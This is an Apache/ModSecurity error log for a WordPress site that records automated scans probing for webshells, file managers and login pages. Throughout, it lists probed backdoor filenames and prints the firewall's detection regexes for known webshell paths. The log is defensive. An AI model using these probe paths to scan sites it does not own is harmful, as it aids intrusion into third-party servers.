[Fri Mar 13 05:08:33.076091 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.67:32335] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "abMrUbce6g9kILuh_R7ciQAAAME"]
[Fri Mar 13 05:08:33.671643 2026] [:error] [pid 44755:tid 44774] [client 216.24.219.199:56695] [client 216.24.219.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.199, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "abMrUfONf1H0XrBFE4NSBAAAARE"]
[Fri Mar 13 05:08:34.776667 2026] [:error] [pid 44755:tid 44763] [client 216.24.219.199:56695] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Fri Mar 13 05:08:35.354375 2026] [:error] [pid 44755:tid 44780] [client 216.24.219.199:56695] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Fri Mar 13 05:08:35.612405 2026] [:error] [pid 44755:tid 44762] [client 216.24.219.199:56695] [client 216.24.219.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "abMrU_ONf1H0XrBFE4NSHgAAAQU"]
[Fri Mar 13 05:08:36.261452 2026] [:error] [pid 61929:tid 62020] [client 136.144.19.74:38545] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Fri Mar 13 05:08:36.928334 2026] [:error] [pid 61929:tid 62007] [client 136.144.19.74:38545] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Fri Mar 13 05:08:37.565761 2026] [:error] [pid 61929:tid 62010] [client 136.144.19.74:38545] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "abMrVTGGsow2jgUjLtxFOQAAAIY"]
[Fri Mar 13 05:08:38.126496 2026] [:error] [pid 61929:tid 62016] [client 216.24.219.200:26965] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Fri Mar 13 05:08:38.644028 2026] [:error] [pid 61929:tid 62006] [client 216.24.219.200:26965] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "abMrVjGGsow2jgUjLtxFRgAAAII"]
[Fri Mar 13 05:08:39.435955 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.55:51089] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Fri Mar 13 05:08:39.698905 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.55:51089] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/mah.php
[Fri Mar 13 05:08:40.222030 2026] [:error] [pid 44755:tid 44762] [client 136.144.19.55:51089] [client 136.144.19.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "abMrWPONf1H0XrBFE4NSTgAAAQU"]
[Fri Mar 13 05:08:40.781132 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.52:54423] [client 136.144.19.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "abMrWPONf1H0XrBFE4NSVQAAAQQ"]
[Fri Mar 13 05:08:41.393654 2026] [:error] [pid 44755:tid 44778] [client 216.24.219.200:51523] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "abMrWfONf1H0XrBFE4NSXgAAARU"]
[Fri Mar 13 05:08:42.316709 2026] [:error] [pid 61929:tid 62023] [client 216.24.219.199:44797] [client 216.24.219.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "abMrWjGGsow2jgUjLtxFYQAAAJM"]
[Fri Mar 13 05:08:43.372376 2026] [:error] [pid 44755:tid 44757] [client 216.24.219.212:44105] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "abMrW_ONf1H0XrBFE4NShwAAAQA"]
[Fri Mar 13 05:08:45.330102 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.227:36255] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Fri Mar 13 05:08:45.877068 2026] [:error] [pid 44755:tid 44765] [client 136.144.19.227:36255] [client 136.144.19.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.227, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "abMrXfONf1H0XrBFE4NSvAAAAQg"]
[Fri Mar 13 05:08:46.175258 2026] [:error] [pid 44755:tid 44775] [client 136.144.19.227:36255] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Fri Mar 13 05:08:46.458783 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.227:36255] [client 136.144.19.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.227, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "abMrXvONf1H0XrBFE4NSxAAAAQ8"]
[Fri Mar 13 05:08:46.723044 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.227:36255] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "abMrXvONf1H0XrBFE4NSyQAAARY"]
[Fri Mar 13 05:08:47.280049 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.79:26687] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Fri Mar 13 05:08:47.571056 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.79:26687] [client 136.144.19.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.79, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "abMrX_ONf1H0XrBFE4NS2wAAAQQ"]
[Fri Mar 13 05:08:47.576319 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.79:26687] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Fri Mar 13 05:08:48.499888 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.79:26687] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Fri Mar 13 05:08:48.811763 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.79:26687] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "abMrYPONf1H0XrBFE4NS-gAAAQE"]
[Fri Mar 13 05:08:49.342705 2026] [:error] [pid 62036:tid 62044] [client 216.24.219.213:24611] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/wp-conflg.php"] [unique_id "abMrYbce6g9kILuh_R7dGQAAAME"]
[Fri Mar 13 05:08:50.190613 2026] [:error] [pid 44755:tid 44767] [client 136.144.19.73:44207] [client 136.144.19.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/wp-work.php"] [unique_id "abMrYvONf1H0XrBFE4NTIwAAAQo"]
[Fri Mar 13 05:08:51.048581 2026] [:error] [pid 62036:tid 62059] [client 193.36.224.114:28825] [client 193.36.224.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.224.114, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "abMrY7ce6g9kILuh_R7dIgAAANA"]
[Fri Mar 13 05:08:51.961642 2026] [:error] [pid 62036:tid 62043] [client 193.36.224.114:28825] [client 193.36.224.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.224.114, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "abMrY7ce6g9kILuh_R7dKQAAAMA"]
[Fri Mar 13 05:08:52.271346 2026] [:error] [pid 62036:tid 62047] [client 193.36.224.114:28825] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iRSzrsOUEP.php
[Fri Mar 13 05:08:52.857173 2026] [:error] [pid 62036:tid 62065] [client 193.36.224.114:28825] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "abMrZLce6g9kILuh_R7dNAAAANY"]
[Fri Mar 13 05:08:53.491041 2026] [:error] [pid 61928:tid 61987] [client 136.144.19.80:39773] [client 136.144.19.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "abMrZQod66AHekJJZiocXAAAAEo"]
[Fri Mar 13 05:08:55.139082 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.225:31289] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Fri Mar 13 05:08:55.771932 2026] [:error] [pid 61929:tid 62008] [client 136.144.19.225:31289] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "abMrZzGGsow2jgUjLtxFygAAAIQ"]
[Fri Mar 13 05:08:56.334693 2026] [:error] [pid 61929:tid 62026] [client 136.144.19.69:21261] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "abMraDGGsow2jgUjLtxFywAAAJY"]
[Fri Mar 13 05:08:57.139143 2026] [:error] [pid 61928:tid 61987] [client 216.24.219.201:20393] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl.php"] [unique_id "abMraQod66AHekJJZiocewAAAEo"]
[Fri Mar 13 05:08:58.507001 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.75:37483] [client 136.144.19.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "abMrarce6g9kILuh_R7dYwAAAM4"]
[Fri Mar 13 05:08:59.364847 2026] [:error] [pid 62036:tid 62051] [client 136.144.19.60:43897] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Fri Mar 13 05:08:59.663360 2026] [:error] [pid 62036:tid 62053] [client 136.144.19.60:43897] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "abMra7ce6g9kILuh_R7dbAAAAMo"]
[Fri Mar 13 05:09:00.192130 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.54:58309] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "abMrbPONf1H0XrBFE4NTrwAAAQ8"]
[Fri Mar 13 05:09:02.496702 2026] [:error] [pid 61929:tid 62017] [client 136.144.19.234:22283] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "abMrbjGGsow2jgUjLtxGFwAAAI0"]
[Fri Mar 13 05:09:03.035459 2026] [:error] [pid 61928:tid 61985] [client 136.144.19.236:39253] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "abMrbwod66AHekJJZiocoQAAAEg"]
[Fri Mar 13 05:09:04.270433 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.225:53051] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "abMrcPONf1H0XrBFE4NT8wAAAQw"]
[Fri Mar 13 05:09:05.136579 2026] [:error] [pid 62036:tid 62047] [client 216.24.219.211:33085] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "abMrcbce6g9kILuh_R7dlAAAAMQ"]
[Fri Mar 13 05:09:06.633491 2026] [:error] [pid 62036:tid 62046] [client 216.24.219.212:64209] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "abMrcrce6g9kILuh_R7dqwAAAMM"]
[Fri Mar 13 05:09:07.845741 2026] [:error] [pid 61927:tid 61964] [client 216.24.219.213:56057] [client 216.24.219.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.213, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "abMrc7LkK584eBa2J7W6yQAAABI"]
[Fri Mar 13 05:09:08.777731 2026] [:error] [pid 61927:tid 61948] [client 216.24.219.213:56057] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Fri Mar 13 05:09:09.591517 2026] [:error] [pid 61927:tid 61955] [client 216.24.219.213:56057] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "abMrdbLkK584eBa2J7W61gAAAAk"]
[Fri Mar 13 05:09:10.495873 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.54:37365] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Fri Mar 13 05:09:10.798308 2026] [:error] [pid 44755:tid 44775] [client 136.144.19.54:37365] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Fri Mar 13 05:09:11.103401 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.54:37365] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Fri Mar 13 05:09:11.382562 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.54:37365] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "abMrd_ONf1H0XrBFE4NUYwAAAQQ"]
[Fri Mar 13 05:09:12.233705 2026] [:error] [pid 62036:tid 62046] [client 136.144.19.79:55233] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "abMreLce6g9kILuh_R7d3QAAAMM"]
[Fri Mar 13 05:09:12.823444 2026] [:error] [pid 62036:tid 62055] [client 136.144.19.234:31969] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Fri Mar 13 05:09:13.112192 2026] [:error] [pid 62036:tid 62058] [client 136.144.19.234:31969] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Fri Mar 13 05:09:13.370684 2026] [:error] [pid 62036:tid 62054] [client 136.144.19.234:31969] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Fri Mar 13 05:09:14.223171 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.234:31969] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abMrerce6g9kILuh_R7eBgAAAMk"]
[Fri Mar 13 05:09:14.740397 2026] [:error] [pid 61927:tid 61963] [client 216.24.219.168:23299] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Fri Mar 13 05:09:15.325765 2026] [:error] [pid 61927:tid 61967] [client 216.24.219.168:23299] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Fri Mar 13 05:09:15.606211 2026] [:error] [pid 61927:tid 61947] [client 216.24.219.168:23299] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Fri Mar 13 05:09:16.235742 2026] [:error] [pid 61927:tid 61963] [client 216.24.219.168:23299] [client 216.24.219.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "abMrfLLkK584eBa2J7W7AgAAABE"]
[Fri Mar 13 05:09:16.743078 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.67:32991] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "abMrfDGGsow2jgUjLtxGdQAAAJg"]
[Fri Mar 13 05:09:17.354665 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.46:46959] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Fri Mar 13 05:09:17.950887 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.46:46959] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "abMrffONf1H0XrBFE4NUqgAAARQ"]
[Fri Mar 13 05:09:19.414734 2026] [:error] [pid 44755:tid 44779] [client 136.144.19.223:40805] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Fri Mar 13 05:09:20.582594 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.223:40805] [client 136.144.19.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "abMrgPONf1H0XrBFE4NU4gAAARU"]
[Fri Mar 13 05:09:21.121563 2026] [:error] [pid 61928:tid 61996] [client 136.144.19.225:23433] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "abMrgQod66AHekJJZioc_gAAAFM"]
[Fri Mar 13 05:09:23.871281 2026] [:error] [pid 61927:tid 61966] [client 136.144.19.226:25847] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "abMrg7LkK584eBa2J7W7LwAAABQ"]
